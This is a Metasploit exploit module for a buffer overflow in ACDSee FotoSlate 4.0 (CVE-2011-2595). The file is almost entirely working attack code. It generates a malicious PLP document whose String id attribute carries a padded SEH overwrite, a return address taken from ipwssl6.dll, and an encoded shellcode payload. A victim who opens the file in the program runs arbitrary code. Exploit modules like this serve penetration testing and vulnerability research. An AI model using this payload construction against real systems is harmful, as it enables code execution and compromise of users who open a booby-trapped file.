ACDSee FotoSlate PLP File id Parameter Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ACDSee FotoSlate PLP File id Parameter Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
        a specially crafted id parameter in a String element.  When viewing a malicious
        PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
        buffer and execute arbitrary code. This exploit has been tested on systems such as
        Windows XP SP3, Windows Vista, and Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Parvez Anwar', # Vulnerability discovery
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-2595' ],
          [ 'OSVDB', '75425' ],
          [ 'BID', '49558' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          #'Space'    => 4000,
          'BadChars' => "\x00\x22"
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            'ACDSee FotoSlate 4.0 Build 146',
            {
              'Ret'         => 0x263a5b57, # pop, pop, ret from ipwssl6.dll
              'Offset'      => 1812,
              'TotalLength' => 5000
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-09-12',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.plp']),
      ])
  end

  def exploit

    overflow = rand_text(target["Offset"])
    overflow << generate_seh_record(target.ret)
    overflow << payload.encoded
    overflow << rand_text_alpha(target["TotalLength"] - overflow.length)

    plp =<<TEMPLATE
<?xml version="1.0" encoding="ISO-8859-1"?>
<ACDFotoSlateDocument15>
<PageDefinition>
<Template>
<Version>3.0</Version>
<Page>
<Name>Letter</Name>
<Properties>
<String id="#{overflow}"></String>
<String id="Width">8.500000IN</String>
<String id="Height">11.000000IN</String>
<String id="Orientation">Portrait</String>
<Bool id="AutoRotate">FALSE</Bool>
<Bool id="AutoFill">FALSE</Bool>
</Properties>
<Content>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGImageType">0</Int>
<String id="BGImageFile"></String>
<Int id="BGColor">16777215</Int>
</Content>
</Page>
<ToolList>
<Group>
<Tool>
<Name>Image</Name>
<Properties>
<String id="XPos">0.500000IN</String>
<String id="YPos">0.500000IN</String>
<String id="Width">7.500000IN</String>
<String id="Height">10.000000IN</String>
<Float id="Tilt">0.000000</Float>
</Properties>
<Content>
<Int id="ShapeType">0</Int>
<Float id="RoundRectX">0.000000</Float>
<Float id="RoundRectY">0.000000</Float>
<Bool id="ShrinkToFit">FALSE</Bool>
<Bool id="AutoRotate">FALSE</Bool>
<Float id="BorderWidth">0.000000</Float>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGColor">8454143</Int>
<Bool id="DropShadow">FALSE</Bool>
<Int id="DSColor">0</Int>
<Bool id="BevelEdge">FALSE</Bool>
<Bool id="Border">FALSE</Bool>
<Int id="BorderColor">16711680</Int>
<Bool id="IsLocked">FALSE</Bool>
</Content>
</Tool>
</Group>
</ToolList>
</Template>
<PageContent>
<Version>3.0</Version>
<Page>
<Name>Letter</Name>
<Content>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGImageType">0</Int>
<String id="BGImageFile"></String>
<Int id="BGColor">16777215</Int>
</Content>
</Page>
<ToolList>
<Group>
<Tool>
<Name>Image</Name>
<Content>
<Int id="ShapeType">0</Int>
<Float id="RoundRectX">0.000000</Float>
<Float id="RoundRectY">0.000000</Float>
<Bool id="ShrinkToFit">FALSE</Bool>
<Bool id="AutoRotate">FALSE</Bool>
<Float id="BorderWidth">0.000000</Float>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGColor">8454143</Int>
<Bool id="DropShadow">FALSE</Bool>
<Int id="DSColor">0</Int>
<Bool id="BevelEdge">FALSE</Bool>
<Bool id="Border">FALSE</Bool>
<Int id="BorderColor">16711680</Int>
<Bool id="IsLocked">FALSE</Bool>
</Content>
</Tool>
</Group>
</ToolList>
</PageContent>
</PageDefinition>
</ACDFotoSlateDocument15>
TEMPLATE

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(plp)
  end
end


=begin
After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
using a long buffer in order to avoid the meterpreter possibly being broken.
=end